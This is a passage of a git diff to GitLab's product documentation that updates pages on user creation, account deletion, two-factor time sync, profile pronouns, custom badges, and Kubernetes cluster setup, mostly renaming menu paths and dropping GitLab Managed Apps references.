enabled](../../admin_area/settings/sign_up_restrictions.md), users can create +their own accounts by either: + +- Selecting the **Register now** link on the sign-in page. +- Navigating to `https://gitlab.example.com/users/sign_up`.  ## Create users in Admin Area -As an admin user, you can manually create users by: +As an Admin user, you can manually create users: -1. Navigating to **Admin Area > Overview > Users** (`/admin/users` page). -1. Selecting the **New User** button. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users** (`/admin/users`). +1. Select **New user**. You can also [create users through the API](../../../api/users.md) as an admin. @@ -33,9 +38,11 @@ You can also [create users through the API](../../../api/users.md) as an admin. ## Create users through authentication integrations -Users will be: +Users are: - Automatically created upon first sign in with the [LDAP integration](../../../administration/auth/ldap/index.md). -- Created when first signing in via an [OmniAuth provider](../../../integration/omniauth.md) if the `allow_single_sign_on` setting is present. -- Created when first signing with [Group SAML](../../group/saml_sso/index.md) -- Automatically created by [SCIM](../../group/saml_sso/scim_setup.md) when the user is created in the identity provider. +- Created when first signing in using an [OmniAuth provider](../../../integration/omniauth.md) if + the `allow_single_sign_on` setting is present. +- Created when first signing with [Group SAML](../../group/saml_sso/index.md). +- Automatically created by [SCIM](../../group/saml_sso/scim_setup.md) when the user is created in + the identity provider. diff --git a/doc/user/profile/account/delete_account.md b/doc/user/profile/account/delete_account.md index 361353a0f8c..c4ab54736bc 100644 --- a/doc/user/profile/account/delete_account.md +++ b/doc/user/profile/account/delete_account.md @@ -13,7 +13,7 @@ Users can be deleted from a GitLab instance, either by: - An administrator. NOTE: -Deleting a user will delete all projects in that user namespace. +Deleting a user deletes all projects in that user namespace. ## As a user @@ -28,7 +28,8 @@ As a user, to delete your own account: As an administrator, to delete a user account: -1. Go to **Admin Area > Overview > Users**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Overview > Users**. 1. Select a user. 1. Under the **Account** tab, select: - **Delete user** to delete only the user but maintain their diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md index c763226015e..3f42fc0d131 100644 --- a/doc/user/profile/account/two_factor_authentication.md +++ b/doc/user/profile/account/two_factor_authentication.md @@ -505,7 +505,18 @@ Feature.disable(:webauthn) If you are receiving an `invalid pin code` error, this may indicate that there is a time sync issue between the authentication application and the GitLab instance itself. -Most authentication apps have a feature in the settings for syncing the time for the codes themselves. For Google Authenticator for example, go to `Settings > Time correction for codes`. +To avoid the time sync issue, enable time synchronization in the device that generates the codes. For example: + +- For Android (Google Authenticator): + 1. Go to the Main Menu in Google Authenticator. + 1. Select Settings. + 1. Select the Time correction for the codes. + 1. Select Sync now. +- For iOS: + 1. Go to Settings. + 1. Select General. + 1. Select Date & Time. + 1. Enable Set Automatically. If it’s already enabled, disable it, wait a few seconds, and re-enable. <!-- ## Troubleshooting diff --git a/doc/user/profile/img/notification_global_settings_v13_12.png b/doc/user/profile/img/notification_global_settings_v13_12.png Binary files differindex 2989543c2d8..0998bb89778 100644 --- a/doc/user/profile/img/notification_global_settings_v13_12.png +++ b/doc/user/profile/img/notification_global_settings_v13_12.png diff --git a/doc/user/profile/img/unknown_sign_in_email_v13_1.png b/doc/user/profile/img/unknown_sign_in_email_v13_1.png Binary files differdeleted file mode 100644 index 586be483be9..00000000000 --- a/doc/user/profile/img/unknown_sign_in_email_v13_1.png +++ /dev/null diff --git a/doc/user/profile/img/unknown_sign_in_email_v14_0.png b/doc/user/profile/img/unknown_sign_in_email_v14_0.png Binary files differnew file mode 100644 index 00000000000..dec1251addb --- /dev/null +++ b/doc/user/profile/img/unknown_sign_in_email_v14_0.png diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md index 17c24a6b63f..9d714a6efd0 100644 --- a/doc/user/profile/index.md +++ b/doc/user/profile/index.md @@ -42,7 +42,7 @@ If you don't know your current password, select the **I forgot my password** lin Your username has a unique [namespace](../group/index.md#namespaces), which is updated when you change your username. Before you change your username, read about -[how redirects behave](../project/repository/index.md#redirects-when-changing-repository-paths). +[how redirects behave](../project/repository/index.md#what-happens-when-a-repository-path-changes). If you do not want to update the namespace, you can create a new user or group and transfer projects to it instead. Prerequisites: @@ -107,6 +107,20 @@ To show private contributions: 1. In the **Main settings** section, select the **Include private contributions on my profile** checkbox. 1. Select **Update profile settings**. +## Add your gender pronouns + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332405) in GitLab 14.0. + +You can add your gender pronouns to your GitLab account to be displayed next to +your name in your profile. + +To specify your pronouns: + +1. In the top-right corner, select your avatar. +1. Select **Edit profile**. +1. In the **Pronouns** field, enter your pronouns. +1. Select **Update profile settings**. + ## Set your current status > - Introduced in GitLab 11.2. diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md index c0d232ba491..b9410be791e 100644 --- a/doc/user/profile/notifications.md +++ b/doc/user/profile/notifications.md @@ -176,6 +176,7 @@ Users are notified of the following events: | Event | Sent to | Settings level | |------------------------------|---------------------|------------------------------| | New SSH key added | User | Security email, always sent. | +| SSH key has expired | User | Security email, always sent. | | New email added | User | Security email, always sent. | | Email changed | User | Security email, always sent. | | Password changed | User | Security email, always sent when user changes their own password | diff --git a/doc/user/profile/unknown_sign_in_notification.md b/doc/user/profile/unknown_sign_in_notification.md index 1eec351e4da..7aa1ae89c9f 100644 --- a/doc/user/profile/unknown_sign_in_notification.md +++ b/doc/user/profile/unknown_sign_in_notification.md @@ -30,4 +30,4 @@ for a notification email to be sent. ## Example email - + diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md index 1834bc20aee..64a375c6a1d 100644 --- a/doc/user/project/badges.md +++ b/doc/user/project/badges.md @@ -15,7 +15,7 @@ points to. Examples for badges can be the [pipeline status](../../ci/pipelines/s [test coverage](../../ci/pipelines/settings.md#test-coverage-report-badge), or ways to contact the project maintainers. - + ## Project badges @@ -90,6 +90,35 @@ default branch or commit SHA when the project is configured to have a private repository. This is by design, as badges are intended to be used publicly. Avoid using these placeholders if the information is sensitive. +## Use custom badge images + +Use custom badge images in a project or a group if you want to use badges other than the default +ones. + +Prerequisites: + +- A valid URL that points directly to the desired image for the badge. + If the image is located in a GitLab repository, use the raw link to the image. + +Using placeholders, here is an example badge image URL referring to a raw image at the root of a repository: + +```plaintext +https://gitlab.example.com/<project_path>/-/raw/<default_branch>/my-image.svg +``` + +To add a new badge to a group or project with a custom image: + +1. Go to your group or project and select **Settings > General**. +1. Expand **Badges**. +1. Under **Name**, enter the name for the badge. +1. Under **Link**, enter the URL that the badge should point to. +1. Under **Badge image URL**, enter the URL that points directly to the custom image that should be + displayed. +1. Select **Add badge**. + +To learn how to use custom images generated via a pipeline, see our documentation on +[accessing the latest job artifacts by URL](../../ci/pipelines/job_artifacts.md#access-the-latest-job-artifacts-by-url). + ## API You can also configure badges via the GitLab API. As in the settings, there is diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md index d9e268251b7..1ecfb3b7292 100644 --- a/doc/user/project/bulk_editing.md +++ b/doc/user/project/bulk_editing.md @@ -1,5 +1,6 @@ --- redirect_to: 'issues/managing_issues.md' +remove_date: '2021-08-12' --- This document was moved to [another location](issues/managing_issues.md). diff --git a/doc/user/project/canary_deployments.md b/doc/user/project/canary_deployments.md index f7394093a3a..c3900d33cb8 100644 --- a/doc/user/project/canary_deployments.md +++ b/doc/user/project/canary_deployments.md @@ -91,7 +91,7 @@ Here's an example setup flow from scratch: 1. Prepare an [Auto DevOps-enabled](../../topics/autodevops/index.md) project. 1. Set up a [Kubernetes Cluster](../../user/project/clusters/index.md) in your project. -1. Install [Ingress](../../user/clusters/applications.md#ingress) as a GitLab Managed App. +1. Install [NGINX Ingress](https://github.com/kubernetes/ingress-nginx/tree/master/charts/ingress-nginx) in your cluster. 1. Set up [the base domain](../../user/project/clusters/index.md#base-domain) based on the Ingress Endpoint assigned above. 1. Check if [`v2.0.0+` of `auto-deploy-image` is used in your Auto DevOps pipelines](../../topics/autodevops/upgrading_auto_deploy_dependencies.md#verify-dependency-versions). @@ -116,7 +116,7 @@ or by sending requests to the [GraphQL API](../../api/graphql/getting_started.md To use your [Deploy Board](../../user/project/deploy_boards.md): -1. Navigate to **Operations > Environments** for your project. +1. Navigate to **Deployments > Environments** for your project. 1. Set the new weight with the dropdown on the right side. 1. Confirm your selection. diff --git a/doc/user/project/clusters/add_eks_clusters.md b/doc/user/project/clusters/add_eks_clusters.md index c0fb8f5848f..58bdb3d698f 100644 --- a/doc/user/project/clusters/add_eks_clusters.md +++ b/doc/user/project/clusters/add_eks_clusters.md @@ -74,10 +74,10 @@ Instance profiles dynamically retrieve temporary credentials from AWS when neede To create and add a new Kubernetes cluster to your project, group, or instance: 1. Navigate to your: - - Project's **Operations > Kubernetes** page, for a project-level cluster. + - Project's **Infrastructure > Kubernetes clusters** page, for a project-level cluster. - Group's **Kubernetes** page, for a group-level cluster. - **Admin Area > Kubernetes**, for an instance-level cluster. -1. Click **Add Kubernetes cluster**. +1. Click **Integrate with a cluster certificate**. 1. Under the **Create new cluster** tab, click **Amazon EKS** to display an `Account ID` and `External ID` needed for later steps. 1. In the [IAM Management Console](https://console.aws.amazon.com/iam/home), create an IAM policy: @@ -184,13 +184,10 @@ To create and add a new Kubernetes cluster to your project, group, or instance: See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After about 10 minutes, your cluster is ready to go. You can now proceed -to install some [pre-defined applications](index.md#installing-applications). +After about 10 minutes, your cluster is ready to go. NOTE: -You must add your AWS external ID to the -[IAM Role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount) -to manage your cluster using `kubectl`. +If you have [installed and configured](https://docs.aws.amazon.com/eks/latest/userguide/getting-started.html#get-started-kubectl) `kubectl` and you would like to manage your cluster with it, you must add your AWS external ID in the AWS configuration. For more information on how to configure AWS CLI, see [using an IAM role in the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-xaccount). ### Cluster creation flow @@ -292,7 +289,7 @@ you've assigned the role the correct permissions. ### Key Pairs are not loaded -GitLab loads the key pairs from the **Cluster Region** specified. Ensure that key pair exists in that region. +GitLab loads the key pairs from the **Cluster Region** specified. Ensure that key pair exists in that region. #### `ROLLBACK_FAILED` during cluster creation diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md index af3a17dc60c..9f0e5603785 100644 --- a/doc/user/project/clusters/add_gke_clusters.md +++ b/doc/user/project/clusters/add_gke_clusters.md @@ -46,10 +46,11 @@ Note the following: To create and add a new Kubernetes cluster to your project, group, or instance: 1. Navigate to your: - - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster. + - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level + cluster. - Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster. - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster. -1. Click **Add Kubernetes cluster**. +1. Click **Integrate with a cluster certificate**. 1. Under the **Create new cluster** tab, click **Google GKE**. 1. Connect your Google account if you haven't done already by clicking the **Sign in with Google** button. @@ -70,8 +71,7 @@ To create and add a new Kubernetes cluster to your project, group, or instance: See the [Managed clusters section](index.md#gitlab-managed-clusters) for more information. 1. Finally, click the **Create Kubernetes cluster** button. -After a couple of minutes, your cluster is ready. You can now proceed -to install some [pre-defined applications](index.md#installing-applications). +After a couple of minutes, your cluster is ready. ### Cloud Run for Anthos @@ -79,8 +79,8 @@ to install some [pre-defined applications](index.md#installing-applications). You can choose to use Cloud Run for Anthos in place of installing Knative and Istio separately after the cluster has been created. This means that Cloud Run -(Knative), Istio, and HTTP Load Balancing are enabled on the cluster at -create time and cannot be [installed or uninstalled](../../clusters/applications.md) separately. +(Knative), Istio, and HTTP Load Balancing are enabled on the cluster +from the start, and cannot be installed or uninstalled. ## Existing GKE cluster diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index 1b4b4f38f4b..2ecbc4a2ff5 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -4,7 +4,16 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Adding and removing Kubernetes clusters **(FREE)** +# Add a cluster using cluster certificates **(FREE)** + +> [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/6049) in GitLab 14.0. + +WARNING: +Creating a new cluster or adding an existing cluster to GitLab through the certificate-based method +is deprecated and no longer recommended. Kubernetes cluster, similar to any other +infrastructure, should be created, updated, and maintained using [Infrastructure as Code](../../infrastructure/index.md). +GitLab is developing a built-in capability to create clusters with Terraform. +You can follow along in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/6049). GitLab offers integrated cluster creation for the following Kubernetes providers: @@ -35,9 +44,9 @@ Before [adding a Kubernetes cluster](#create-new-cluster) using GitLab, you need - A [self-managed installation](https://about.gitlab.com/pricing/#self-managed) with GitLab version 12.5 or later. This ensures the GitLab UI can be used for cluster creation. - The following GitLab access: - - [Maintainer access to a project](../../permissions.md#project-members-permissions) for a + - [Maintainer role for a project](../../permissions.md#project-members-permissions) for a project-level cluster. - - [Maintainer access to a group](../../permissions.md#group-members-permissions) for a + - [Maintainer role for a group](../../permissions.md#group-members-permissions) for a group-level cluster. - [Admin Area access](../../admin_area/index.md) for a self-managed instance-level cluster. **(FREE SELF)** @@ -52,16 +61,10 @@ When creating a cluster in GitLab, you are asked if you would like to create eit cluster, which is the GitLab default and recommended option. - An [Attribute-based access control (ABAC)](https://kubernetes.io/docs/reference/access-authn-authz/abac/) cluster. -GitLab creates the necessary service accounts and privileges to install and run -[GitLab managed applications](index.md#installing-applications). When GitLab creates the cluster, +When GitLab creates the cluster, a `gitlab` service account with `cluster-admin` privileges is created in the `default` namespace to manage the newly created cluster. -The first time you install an application into your cluster, the `tiller` service -account is created with `cluster-admin` privileges in the -`gitlab-managed-apps` namespace. This service account is used by Helm to -install and run [GitLab managed applications](index.md#installing-applications). - Helm also creates additional service accounts and other resources for each installed application. Consult the documentation of the Helm charts for each application for details. @@ -132,11 +135,8 @@ If you don't want to use a runner in privileged mode, either: - Use shared runners on GitLab.com. They don't have this security issue. - Set up your own runners using the configuration described at - [shared runners](../../gitlab_com/index.md#shared-runners). This involves: - 1. Making sure that you don't have it installed via - [the applications](index.md#installing-applications). - 1. Installing a runner - [using `docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html). + [shared runners](../../gitlab_com/index.md#shared-runners) using + [`docker+machine`](https://docs.gitlab.com/runner/executors/docker_machine.html). ## Create new cluster @@ -144,36 +144,38 @@ New clusters can be created using GitLab on Google Kubernetes Engine (GKE) or Amazon Elastic Kubernetes Service (EKS) at the project, group, or instance level: 1. Navigate to your: - - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster. + - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level + cluster. - Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster. - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster. -1. Click **Add Kubernetes cluster**. +1. Click **Integrate with a cluster certificate**. 1. Click the **Create new cluster** tab. 1. Click either **Amazon EKS** or **Google GKE**, and follow the instructions for your desired service: - [Amazon EKS](add_eks_clusters.md#new-eks-cluster). - [Google GKE](add_gke_clusters.md#creating-the-cluster-on-gke). -After creating a cluster, you can install runners for it as described in -[GitLab Managed Apps](../../clusters/applications.md). +After creating a cluster, you can [install runners](https://docs.gitlab.com/runner/install/kubernetes.html), +add a [cluster management project](../../clusters/management_project.md), +configure [Auto DevOps](../../../topics/autodevops/index.md), +or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster). ## Add existing cluster If you have an existing Kubernetes cluster, you can add it to a project, group, -or instance. - -Kubernetes integration isn't supported for arm64 clusters. See the issue -[Helm Tiller fails to install on arm64 cluster](https://gitlab.com/gitlab-org/gitlab/-/issues/29838) -for details. +or instance, and [install runners](https://docs.gitlab.com/runner/install/kubernetes.html) +on it (the cluster does not need to be added to GitLab first). -After adding an existing cluster, you can install runners for it as described in -[GitLab Managed Apps](../../clusters/applications.md). +After adding a cluster, you can add a [cluster management project](../../clusters/management_project.md), +configure [Auto DevOps](../../../topics/autodevops/index.md), +or start [deploying right away](index.md#deploying-to-a-kubernetes-cluster). ### Existing Kubernetes cluster To add a Kubernetes cluster to your project, group, or instance: 1. Navigate to your: - 1. Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster. + 1. Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level + cluster. 1. Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster. 1. **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster. 1. Click **Add Kubernetes cluster**. @@ -316,8 +318,7 @@ To add a Kubernetes cluster to your project, group, or instance: 1. Finally, click the **Create Kubernetes cluster** button. -After a couple of minutes, your cluster is ready. You can now proceed -to install some [pre-defined applications](index.md#installing-applications). +After a couple of minutes, your cluster is ready. #### Disable Role-Based Access Control (RBAC) (optional) @@ -351,7 +352,8 @@ The Kubernetes cluster integration enables after you have successfully either cr a new cluster or added an existing one. To disable Kubernetes cluster integration: 1. Navigate to your: - - Project's **{cloud-gear}** **Operations > Kubernetes** page, for a project-level cluster. + - Project's **{cloud-gear}** **Infrastructure > Kubernetes clusters** page, for a project-level + cluster. - Group's **{cloud-gear}** **Kubernetes** page, for a group-level cluster. - **Admin Area >** **{cloud-gear}** **Kubernetes** page, for an instance-level cluster. 1. Click on the name of the cluster. diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md index c2d06e0a22c..97296d22dd9 100644 --- a/doc/user/project/clusters/index.md +++ b/doc/user/project/clusters/index.md @@ -31,7 +31,7 @@ Besides integration at the project level, Kubernetes clusters can also be integrated at the [group level](../../group/clusters/index.md) or [GitLab instance level](../../instance/clusters/index.md). -To view your project level Kubernetes clusters, navigate to **Operations > Kubernetes** +To view your project level Kubernetes clusters, navigate to **Infrastructure > Kubernetes** from your project. On this page, you can [add a new cluster](#adding-and-removing-clusters) and view information about your existing clusters, such as: @@ -61,6 +61,9 @@ Kubernetes version to any supported version at any time: Some GitLab features may support versions outside the range provided here. +NOTE: +[GKE Cluster creation](add_remove_clusters.md#create-new-cluster) by GitLab is currently not supported for Kubernetes 1.19+. For these versions you can create the cluster through GCP, then [Add existing cluster](add_remove_clusters.md#add-existing-cluster). See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/331922) for more information. + ### Adding and removing clusters See [Adding and removing Kubernetes clusters](add_remove_clusters.md) for details on how @@ -169,14 +172,9 @@ for your deployment jobs to use. Otherwise, a namespace is created for you. #### Important notes -Note the following with GitLab and clusters: - -- If you [install applications](#installing-applications) on your cluster, GitLab will - create the resources required to run these even if you have chosen to manage your own - cluster. -- Be aware that manually managing resources that have been created by GitLab, like - namespaces and service accounts, can cause unexpected errors. If this occurs, try - [clearing the cluster cache](#clearing-the-cluster-cache). +Be aware that manually managing resources that have been created by GitLab, like +namespaces and service accounts, can cause unexpected errors. If this occurs, try +[clearing the cluster cache](#clearing-the-cluster-cache). #### Clearing the cluster cache @@ -189,7 +187,7 @@ your cluster. This can cause deployment jobs to fail. To clear the cache: -1. Navigate to your project's **Operations > Kubernetes** page, and select your cluster. +1. Navigate to your project's **Infrastructure > Kubernetes** page, and select your cluster. 1. Expand the **Advanced settings** section. 1. Click **Clear cluster cache**. @@ -197,19 +195,15 @@ To clear the cache: > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24580) in GitLab 11.8. -You do not need to specify a base domain on cluster settings when using GitLab Serverless. The domain in that case -is specified as part of the Knative installation. See [Installing Applications](#installing-applications). - Specifying a base domain automatically sets `KUBE_INGRESS_BASE_DOMAIN` as an deployment variable. If you are using [Auto DevOps](../../../topics/autodevops/index.md), this domain is used for the different stages. For example, Auto Review Apps and Auto Deploy. The domain should have a wildcard DNS configured to the Ingress IP address. -After Ingress has been installed (see [Installing Applications](#installing-applications)), -you can either: +You can either: - Create an `A` record that points to the Ingress IP address with your domain provider. -- Enter a wildcard DNS address using a service such as nip.io or xip.io. For example, `192.168.1.1.xip.io`. +- Enter a wildcard DNS address using a service such as `nip.io` or `xip.io`. For example, `192.168.1.1.xip.io`. To determine the external Ingress IP address, or external Ingress hostname: @@ -259,13 +253,11 @@ This list provides a generic solution, and some GitLab-specific approaches: If you see a trailing `%` on some Kubernetes versions, do not include it. -## Installing applications +## Cluster management project -GitLab can install and manage some applications like Helm, GitLab Runner, Ingress, -Prometheus, and so on, in your project-level cluster. For more information on -installing, upgrading, uninstalling, and troubleshooting applications for -your project cluster, see -[GitLab Managed Apps](../../clusters/applications.md). +Attach a [Cluster management project](../../clusters/management_project.md) +to your cluster to manage shared resources requiring `cluster-admin` privileges for +installation, such as an Ingress controller. ## Auto DevOps @@ -351,16 +343,17 @@ You can customize the deployment namespace in a few ways: When you customize the namespace, existing environments remain linked to their current namespaces until you [clear the cluster cache](#clearing-the-cluster-cache). -WARNING: +#### Protecting credentials + By default, anyone who can create a deployment job can access any CI/CD variable in an environment's deployment job. This includes `KUBECONFIG`, which gives access to any secret available to the associated service account in your cluster. To keep your production credentials safe, consider using [protected environments](../../../ci/environments/protected_environments.md), -combined with either +combined with *one* of the following: -- a GitLab-managed cluster and namespace per environment, -- *or*, an environment-scoped cluster per protected environment. The same cluster +- A GitLab-managed cluster and namespace per environment. +- An environment-scoped cluster per protected environment. The same cluster can be added multiple times with multiple restricted service accounts. ### Integrations @@ -453,6 +446,6 @@ Automatically detect and monitor Kubernetes metrics. Automatic monitoring of > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/4701) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.6. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/208224) to GitLab Free in 13.2. -When [Prometheus is deployed](#installing-applications), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start. +When [the Prometheus cluster integration is enabled](../../clusters/integrations.md#prometheus-cluster-integration), GitLab monitors the cluster's health. At the top of the cluster settings page, CPU and Memory utilization is displayed, along with the total amount available. Keeping an eye on cluster resources can be important, if the cluster runs out of memory pods may be shutdown or fail to start.  diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md index bafb7d472c6..7a9c7eb423d 100644 --- a/doc/user/project/clusters/kubernetes_pod_logs.md +++ b/doc/user/project/clusters/kubernetes_pod_logs.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4752) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26383) to [GitLab Free](https://about.gitlab.com/pricing/) 12.9. -GitLab makes it easy to view the logs of running pods or managed applications in +GitLab makes it easy to view the logs of running pods in [connected Kubernetes clusters](index.md). By displaying the logs directly in GitLab in the **Log Explorer**, developers can avoid managing console tools or jumping to a different interface. The **Log Explorer** interface provides a set of filters @@ -18,10 +18,11 @@ above the log file data, depending on your configuration:  - **Namespace** - Select the environment to display. Users with Maintainer or - greater [permissions](../../permissions.md) can also select Managed Apps. -- **Search** - Only available if the Elastic Stack managed application is installed. -- **Select time range** - Select the range of time to display. Only available if the - Elastic Stack managed application is installed. + greater [permissions](../../permissions.md) can also see pods in the + `gitlab-managed-apps` namespace. +- **Search** - Only available if the [Elastic Stack integration](../../clusters/integrations.md#elastic-stack-cluster-integration) is enabled. +- **Select time range** - Select the range of time to display. + Only available if the [Elastic Stack integration](../../clusters/integrations.md#elastic-stack-cluster-integration) is enabled. - **Scroll to bottom** **{scroll_down}** - Scroll to the end of the displayed logs. - **Refresh** **{retry}** - Reload the displayed logs. @@ -43,12 +44,11 @@ a [metrics dashboard](../../../operations/metrics/index.md) and select **View lo 1. Sign in as a user with the _View pod logs_ [permissions](../../permissions.md#project-members-permissions) in the project. -1. *To navigate to the **Log Explorer** from the sidebar menu,* go to - **{cloud-gear}** **Operations > Pod logs**. - ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 12.5.) -1. *To navigate to the **Log Explorer** from a specific pod on a [Deploy Board](../deploy_boards.md):* +1. To navigate to the **Log Explorer** from the sidebar menu, go to **Monitor > Logs** + ([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/22011) in GitLab 12.5.). +1. To navigate to the **Log Explorer** from a specific pod on a [Deploy Board](../deploy_boards.md): - 1. Go to **{cloud-gear}** **Operations > Environments** and find the environment + 1. Go to **Deployments > Environments** and find the environment which contains the desired pod, like `production`. 1. On the **Environments** page, you should see the status of the environment's pods with [Deploy Boards](../deploy_boards.md). @@ -81,7 +81,7 @@ Support for historical data is coming > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/197879) in GitLab 12.8. -When you enable [Elastic Stack](../../clusters/applications.md#elastic-stack) +When you enable [Elastic Stack](../../clusters/integrations.md#elastic-stack-cluster-integration) on your cluster, you can filter logs displayed in the **Log Explorer** by date. Click **Show last** in the **Log Explorer** to see the available options. @@ -90,7 +90,7 @@ Click **Show last** in the **Log Explorer** to see the available options. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21656) in GitLab 12.7. -When you enable [Elastic Stack](../../clusters/applications.md#elastic-stack) on your cluster, +When you enable [Elastic Stack](../../clusters/integrations.md#elastic-stack-cluster-integration) on your cluster, you can search the content of your logs through a search bar. The search is passed to Elasticsearch using the [simple_query_string](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-simple-query-string-query.html) diff --git a/doc/user/project/clusters/protect/container_host_security/index.md b/doc/user/project/clusters/protect/container_host_security/index.md index 102001d4f87..5e4df6009f0 100644 --- a/doc/user/project/clusters/protect/container_host_security/index.md +++ b/doc/user/project/clusters/protect/container_host_security/index.md @@ -4,7 +4,7 @@ group: Container Security info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Container Host Security +# Container Host Security **(FREE)** Container Host Security in GitLab provides Intrusion Detection and Prevention capabilities that can monitor and (optionally) block activity inside the containers themselves. This is done by leveraging @@ -28,8 +28,8 @@ users define profiles for these technologies. See the [installation guide](quick_start_guide.md) for the recommended steps to install the Container Host Security capabilities. This guide shows the recommended way of installing Container -Host Security through GMAv2. However, it's also possible to do a manual installation through our -Helm chart. +Host Security through the Cluster Management Project. However, it's also possible to do a manual +installation through our Helm chart. ## Features diff --git a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md index fa4a5fb61d0..ebcd56078ae 100644 --- a/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md +++ b/doc/user/project/clusters/protect/container_host_security/quick_start_guide.md @@ -4,11 +4,9 @@ group: Container Security info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Getting started with Container Host Security +# Getting started with Container Host Security **(FREE)** -The following steps are recommended for installing Container Host Security. Although you can install -some capabilities through GMAv1, we [recommend](#using-gmav1-with-gmav2) that you install -applications through GMAv2 exclusively when using Container Network Security. +The following steps are recommended for installing Container Host Security. ## Installation steps @@ -21,8 +19,7 @@ The following steps are recommended to install and use Container Host Security t 1. Install and configure an Ingress node: - - [Install the Ingress node via CI/CD (GMAv2)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd). - - [Determine the external endpoint via the manual method](../../../../clusters/applications.md#determining-the-external-endpoint-manually). + - [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd). - Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain) into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes cluster. @@ -63,19 +60,6 @@ initial troubleshooting steps that resolve the most common problems: `kubectl delete namespaces <insert-some-namespace-name>` in your Kubernetes cluster. - Rerun the application project pipeline to redeploy the application. -### Using GMAv1 with GMAv2 - -When GMAv1 and GMAv2 are used together on the same cluster, users may experience problems with -applications being uninstalled or removed from the cluster. This is because GMAv2 actively -uninstalls applications that are installed with GMAv1 and not configured to be installed with GMAv2. -It's possible to use a mixture of applications installed with GMAv1 and GMAv2 by ensuring that the -GMAv1 applications are installed **after** the GMAv2 cluster management project pipeline runs. GMAv1 -applications must be reinstalled after each run of that pipeline. This approach isn't recommended as -it's error-prone and can lead to downtime as applications are uninstalled and later reinstalled. -When using Container Network Security, the preferred and recommended path is to install all -necessary components with GMAv2 and the cluster management project. - **Related documentation links:** -- [GitLab Managed Apps v1 (GMAv1)](../../../../clusters/applications.md#install-with-one-click-deprecated) -- [GitLab Managed Apps v2 (GMAv2)](../../../../clusters/management_project.md) +- [Cluster Management Project](../../../../clusters/management_project.md) diff --git a/doc/user/project/clusters/protect/container_network_security/index.md b/doc/user/project/clusters/protect/container_network_security/index.md index a7cdd73acd7..3daa48e1811 100644 --- a/doc/user/project/clusters/protect/container_network_security/index.md +++ b/doc/user/project/clusters/protect/container_network_security/index.md @@ -4,7 +4,7 @@ group: Container Security info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers --- -# Container Network Security +# Container Network Security 